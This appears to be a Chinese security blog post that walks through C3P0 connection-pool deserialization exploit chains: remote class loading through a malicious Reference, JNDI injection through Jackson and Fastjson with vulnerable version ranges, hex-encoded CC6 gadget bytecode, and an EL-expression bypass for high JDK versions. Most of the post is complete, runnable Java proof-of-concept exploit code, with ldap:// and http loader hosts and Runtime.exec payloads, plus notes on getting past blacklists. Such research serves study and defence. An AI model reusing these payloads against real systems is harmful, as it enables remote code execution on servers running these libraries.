C3P0合集

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,目前使用它的开源项目有Hibernate,Spring等。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

Hibernate框架默认使用C3P0连接池

依赖:

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

C3P0出网

URLClassLoader远程类加载

利用链:

1
2
3
PoolBackedDataSourceBase#readObject ->
ReferenceIndirector#ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject

漏洞点在于ReferenceableUtils#referenceToObject

先从Reference中获取了封装的类名和FactoryLocation地址(应该是个http地址),然后用URLClassloader加载,forName类加载,newInstance生成实例。完美符合TemplatesImpl加载类

ReferenceIndirector的内部类ReferenceSerialized#getObject调用了ReferenceableUtils#referenceToObject,前面的代码看起来还像是有jndi漏洞呢

PoolBackedDataSourceBase#readObject调用了getObject(),需要有VERSION值才能进入

为什么要用IndirectlySerialized强转呢?

看强转的后面一行,this.connectionPoolDataSource = (ConnectionPoolDataSource) o;。这个接口没继承Serializable

PoolBackedDataSourceBase#writeObject时,如果在序列化connectionPoolDataSource时报异常,catch NotSerializableException时,会用indirector.indirectForm封装

跟进到indirectForm,返回了ReferenceSerialized封装的对象

这个对象实现了IndirectlySerialized接口

也就是给connectionPollDataSource加一个可序列化的功能。但是在加的时候,也扩大了攻击面,也就是ReferenceSerialized#getObject

OK,我们再逆向看看,getObject中,reference怎么来的

indirectForm调用了ReferenceSerialized这个内部类的构造函数

PoolBackedDataSourceBase.writeObject两个地方都调用了indirectForm

所以改connectionPoolDataSource或者extensions向indirectForm进行传参

connectionPoolDataSource字段

改connectionPoolDataSource字段为恶意reference的话,需要创建一个恶意类继承ConntectionPoolDataSource,Referencable接口,这样在后面的强转才不会报错

payload:

恶意connectionPoolDataSource类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.exploit.third.c3p0;

import javax.naming.*;
import javax.naming.spi.ObjectFactory;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Hashtable;
import java.util.logging.Logger;

public class c3p0_Reference implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
Reference ref = new Reference("JNDI_RuntimeEvil", "JNDI_RuntimeEvil", "http://127.0.0.1:9999");
return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}

}


开http服务,传恶意Reference

PoolBackedDataSourceBase.wirteObject自动写VERSION序列化数据和封装

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.exploit.third.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.sql.ConnectionPoolDataSource;
import java.io.IOException;


//PoolBackedDataSourceBase#readObject ->
//ReferenceSerialized#getObject ->
//ReferenceableUtils#referenceToObject ->
//ObjectFactory#getObjectInstance
public class c3p0 {
public static void main(String[] args) throws Exception
{
ConnectionPoolDataSource connectionPoolDataSource = new c3p0_Reference();
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poolBackedDataSourceBase.setConnectionPoolDataSource(connectionPoolDataSource);
serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception
{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}

已经能弹计算器了

但是加载的类还得转换成ObjectFactory,并调用其方法。为了美观,我们给Reference加载的类继承上ObjectFactory,就不会报错了(还是有报错hah)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.exploit.third.c3p0;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class c3p0_ext_ObjectFactory implements ObjectFactory {
public c3p0_ext_ObjectFactory() throws RemoteException {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

extensions字段

就是改个封装,还得搞成Map,懒得弄,说不定还搞不起。

getObject JNDI

还记得上面提到的JNDI吗

同样在writeObject->ReferenceIndirector.indirectForm调用构造函数

不过writeObject这里,new之后立马调用方法,中间根本就不能反射改值,遂放弃

可惜getObject是个内部类方法,如果是公共类,那真是可以玩出花了(符合getter

JNDI注入

ReferenceIndirector#ReferenceSerialized#getObject打不了JNDI注入

但是结合jackson或者fastjson能打JndiRefForwardingDataSource.dereference JNDI

查找用法,inner()调用了dereference

JndiRefForwardingDataSource有六个方法都调用了inner

注意到JndiRefForwardingDataSource是个final+没有指定修饰符类(Package-Private),仅在同软件包下的类可访问

查找用法仅找到一处实例化,位于JndiRefConnectionPoolDataSource

跟进到该类的方法,发现是构造函数,并且实例化之后用WrapperConnectionPoolDataSource.setNestedDataSource装配

既然构造函数实例化了JndiRefForwardingDataSource,后面一定会有方法调用到JndiRefForwardingDataSource中的方法

果然,对应了上面六个方法都有调用

现在的问题是,怎么向dereference jndiName传参

共有两个地方对jdniName进行了赋值

  1. setJndiName

  1. readObject

我们用jackson和fastjson打才能触发六个方法中的setter,而jackson/fastjson不会触发readObject

上面六个随便挑一个方法,就挑一个参数最简单的setLoginTimeout

so,我们的利用链:

1
2
3
4
5
6
7
8
传参jndiName:
jackson/fastjson ->
JndiRefConnectionPoolDataSource.setJndiName
JndiRefDataSourceBase.setJndiName
触发JNDI:
jackson/fastjson ->
JndiRefConnectionPoolDataSource.setLoginTimeout
JndiRefForwardingDataSource.setLoginTimeout -> inner -> dereference -> JNDI

jackson打C3P0 JNDI

1
2
3
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4

适用于TemplatesImpl被ban

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class jackson_JNDI {
public static class enableDefaultTyping_Test {
public Object object;
}
public static void main(String[] args) throws Exception {
String jndiName = "'ldap://127.0.0.1:1099/JDNI_RuntimeEvil'";
String jsonInput = aposToQuotes("{\"object\":['com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource',\n" +
"{\n" +
"'jndiName':"+jndiName+",\n" +
"'loginTimeout':'2',\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
jackson_JNDI.enableDefaultTyping_Test test;
try {
test = mapper.readValue(jsonInput, jackson_JNDI.enableDefaultTyping_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}
}

jackson高版本对本文利用类加了黑名单

fastjson打C3P0 JNDI

fastjson <= 1.2.47 利用缓存绕过,打C3P0适用于环境JdbcRowSetImpl被ban

POC:

1
2
3
4
5
6
public class fastjson_JNDI {
public static void main(String[] args) throws Exception {
String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"},{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/JDNI_RuntimeEvil\",\"loginTimeout\":2}}";
JSON.parse(payload);
}
}

autoType会把本文涉及的利用类加入黑名单,所以fastjson该绕过的要绕过

打readObject也不是不可以,有依赖包的话随便挑一个打getter/setter的方法

比如用jackson 2.13.3的POJONode.toString->getter

比如Rome的ToStringBean.toString->getter

不重复套娃了就

C3P0不出网

SerializableUtils反序列化字节码

需要有fastjson/jackson依赖

漏洞入口位于C3P0ImplUtils.parseUserridesAsString

paseUserridesAsString对传入的参数userOverridesAsString字符串处理如下:

  1. HASM_HEADER长度+1开始,截取到userOverridesAsString的倒数第二个字符

HASM_HEADER为HexAsciiSerializedMap

  1. 调用ByteUtils.fromHexAscii把截取的字符串转为二进制
  2. 调用SerializableUtils.fromByteArray反序列化字节码

向parseUserOverridesAsString传参HexAsciiSerializedMap+任意字符+恶意十六进制字节码+任意字符就能二次反序列化

WrapperConnectionPoolDataSource构造函数调用了parseUserOverridesAsString,但是这用不了,你总不能还没声明类就调用setter给userOverridesAsString赋值了吧

仔细看一下这个构造函数:

在调用parseOver..之前,先调用了setUpPropertyListeners

setUpPropertyListeners如下,创建了一个VetoableChangeListener监听器(该监听器作用于全局,类属性变化的时候就会触发),如果userOverridesAsString发生变化,就会调用C3P0ImplUtils.parseUserOverridesAsString,就是你辣!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
   private void setUpPropertyListeners()
{
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener()
{
// always called within synchronized mutators of the parent class... needn't explicitly sync here
public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();

if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
};
this.addVetoableChangeListener( setConnectionTesterListener );
}

WrapperContentionPoolDataSource是public类,有无参构造函数,jackson/fastjson会自动调无参构造函数实例化的。

利用链:

1
2
3
4
5
  jackson/fastjson ->
WrapperContentionPoolDataSource.constructor
WrapperContentionPoolDataSource.setUserOverridesAsSstring ->
C3P0ImplUtils.parseUserOverridesAsString ->
SerializableUtils.fromByteArray -> readObejct

jackson+C3P0打CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import com.alibaba.fastjson.JSON;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;

//jackson 打C3P0 CC6字节码,by C3P0ImplUtils.parseUserOverridesAsString
// jackson/fastjson ->
// WrapperContentionPoolDataSource.constructor
// WrapperContentionPoolDataSource.setUserOverridesAsSstring ->
// C3P0ImplUtils.parseUserOverridesAsString ->
// SerializableUtils.fromByteArray -> readObejct
public class jackson_C3P0ImplUtils_HEX_CC6 {
public static class enableDefaultTyping_Test {
public Object object;
}
public static String GenerateCC6() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
return binaryFileToHexString(new File("cc6.ser"));
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static String binaryFileToHexString(File file) throws IOException {
StringBuilder hexString = new StringBuilder();
try (FileInputStream fis = new FileInputStream(file)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
for (int i = 0; i < bytesRead; i++) {
hexString.append(String.format("%02X", buffer[i]));
}
}
}
return hexString.toString();
}
public static void main(String[] args) throws Exception {
String payload = "HexAsciiSerializedMap1"+GenerateCC6()+"1";
String jsonInput = aposToQuotes("{\"object\":['com.mchange.v2.c3p0.WrapperConnectionPoolDataSource',\n" +
"{\n" +
"'userOverridesAsString':'"+payload+"',\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
jackson_C3P0ImplUtils_HEX_CC6.enableDefaultTyping_Test test;
try {
test = mapper.readValue(jsonInput, jackson_C3P0ImplUtils_HEX_CC6.enableDefaultTyping_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}
}

fastjson写法差不多,自己改改json

EL表达式

没有fastjson/jackson情况下打不出网

EL表达式命令执行:

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

利用Tomcat依赖绕过JNDI高版本限制的思路,传恶意reference,就可以避免ReferenceableUtils利用链出网的问题。其实说来JNDI高版本这里都能用,不止局限于ELProcessor

只需要修改getReference的Reference构造

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.56</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version> <!-- 使用与你的Tomcat版本相匹配的版本 -->
</dependency>

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class C3P0_jndiHighVersion_nonetwork implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
Reference ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));

return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
上一篇:
fastjson 1.2.68漏洞分析及commons-io写文件
下一篇:
fastjson jackson getter setter和constructor的区分